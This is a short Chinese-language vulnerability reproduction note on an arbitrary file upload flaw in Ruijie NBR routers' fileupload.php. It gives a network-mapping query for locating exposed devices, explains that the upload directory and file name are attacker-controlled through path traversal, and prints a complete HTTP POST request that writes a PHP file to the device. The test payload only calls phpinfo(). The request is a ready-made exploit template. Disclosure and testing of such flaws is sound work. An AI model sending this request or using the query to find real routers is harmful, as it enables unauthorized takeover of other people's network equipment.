跳到主要内容

锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞

漏洞描述​

锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限

漏洞影响​

锐捷 NBR 路由器

网络测绘​

app="Ruijie-NBR路由器"

漏洞复现​

image-20231213153706435

出现漏洞的文件在 /ddi/server/fileupload.php， 该文件为标准的文件上传文件

image-20231213153717021

文件名及目录均可控，导致可以任意上传文件

POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1
Host: 
Accept: text/plain, */*; q=0.01
Content-Disposition: form-data; name="file"; filename="111.php"
Content-Type: image/jpeg

<?php phpinfo();?>

image-20231213153726789

访问上传的文件目录

image-20231213153738630